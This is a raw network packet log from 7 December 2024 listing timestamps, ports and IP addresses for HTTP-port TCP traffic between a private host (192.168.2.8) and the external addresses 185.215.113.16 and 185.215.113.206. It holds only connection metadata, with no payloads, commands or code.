Dec 7, 2024 15:07:01.134965897 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.135014057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.135905981 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.136050940 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.136105061 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.137185097 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.137238026 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.137314081 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.137363911 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.138091087 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.138149977 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.138449907 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.138495922 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.139552116 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.139622927 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.139657974 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.139816046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.140639067 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.140710115 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.140763044 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.141535997 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.141587973 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.141604900 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.141647100 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.142368078 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.142412901 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.142566919 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.142616987 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.143450022 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.143502951 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.143552065 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.143600941 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.144531965 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.144640923 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.144695044 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.145601034 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.145653963 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.145688057 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.145772934 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.146820068 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.146883011 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.147015095 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.147064924 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.147741079 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.147892952 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.147943974 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.148833990 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.148874998 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.148881912 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.148916960 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.149949074 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.150005102 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.150022030 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.150064945 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.150979042 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.151036024 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.151036024 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.151078939 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.152096987 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.152230978 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.152286053 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.153115988 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.153172016 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.153204918 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.153245926 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.154247999 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.154300928 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.154402971 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.154448986 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.155257940 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.155308008 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.155405998 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.155447960 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.156372070 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.156516075 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.156558037 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.157419920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.157484055 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.157516003 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.157555103 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.158487082 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.158539057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.158584118 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.158631086 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.159553051 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.159604073 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.159662962 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.159717083 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.160664082 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.160691023 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.160716057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.160732031 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.161784887 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.161904097 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.161957026 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.162961006 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.163021088 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.163021088 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.163060904 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.163891077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.164041996 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.164091110 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.164984941 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.165035963 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.165041924 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.165071011 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.165993929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.166047096 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.166049004 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.166090012 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.167337894 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.167392015 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.167509079 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.167561054 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.168185949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.168302059 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.168349028 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.169234037 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.169281960 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.169332981 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.169378042 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.170304060 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.170358896 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.170453072 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.170500994 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.171400070 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.171452045 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.171483994 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.171528101 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.172452927 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.172559977 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.172605038 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.173542976 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.173587084 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.173597097 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.173629999 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.174608946 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.174659967 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.174690008 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.174726009 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.175681114 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.175734997 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.175813913 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.176758051 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.176812887 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.176820993 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.176853895 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.298868895 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.298885107 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.298929930 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.299025059 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.299096107 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.299138069 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.300147057 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.300247908 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.300296068 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.301184893 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.301264048 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.301282883 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.301311970 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.316689014 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.316800117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.316881895 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.317224979 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.317269087 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.317274094 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.317306995 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.318331003 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.318346977 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.318399906 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.319354057 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.319408894 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.319461107 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.319504023 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.320446014 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.320513010 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.320571899 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.321516991 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.321568012 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.321623087 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.321665049 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.322599888 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.322647095 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.322704077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.322741985 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.323687077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.323882103 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.323931932 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.324759960 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.324806929 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.324860096 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.324909925 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.325854063 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.325911045 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.325934887 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.325978994 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.326893091 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.326944113 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.327028036 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.327100039 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.328001976 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.328175068 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.328212976 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.329031944 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.329070091 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.329149008 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.329189062 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.330111980 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.330215931 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.330285072 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.330329895 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.331254959 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.331285954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.331326962 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.331372023 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.332284927 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.332328081 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.332367897 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.332412004 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.333340883 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.333389044 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.333441019 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.333477974 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.334557056 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.334620953 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.334645033 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.334682941 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.335488081 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.335525036 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.335572004 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.335609913 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.336611032 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.336656094 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.336780071 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.336816072 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.337641954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.337750912 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.337793112 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.338726044 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.338762999 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.338805914 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.338838100 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.339787960 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.339837074 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.339884043 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.340871096 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.340913057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.340989113 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.341027021 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.341941118 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.341990948 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.342024088 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.342062950 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.343070030 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.343128920 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.343158007 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.343197107 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.461930990 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.462109089 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.463064909 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.463078022 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.463097095 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.463131905 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.463155985 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.581911087 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.582005978 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.582773924 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.582828045 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.582830906 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.582844019 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.582873106 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.582889080 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.701808929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.701900959 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.701935053 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.701946020 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.701956987 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.701968908 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.701970100 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.701978922 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.701989889 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.701991081 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.702001095 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.702054977 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.702063084 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.702092886 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.702353954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.702364922 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.702378035 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.702389002 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.702400923 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.702402115 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.702414036 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:07:01.702415943 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.702428102 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.702439070 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.702438116 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.702449083 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.702460051 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.702471018 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.702471018 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:07:01.702482939 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.702487946 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.702495098 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.702522039 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.702538967 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.703331947 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.703342915 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.703355074 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.703367949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.703378916 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.703388929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.703397989 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.703399897 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.703409910 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.703421116 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.703425884 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.703430891 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.703440905 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.703450918 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.703461885 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.703466892 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.703497887 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.703520060 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.704301119 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.704312086 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.704329967 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.704340935 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.704346895 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.704374075 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.704374075 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.704571009 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.704581976 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.704611063 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.704632044 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.704710960 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.704721928 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.704731941 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.704745054 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.704746008 CET	80	49740	185.215.113.16	192.168.2.8
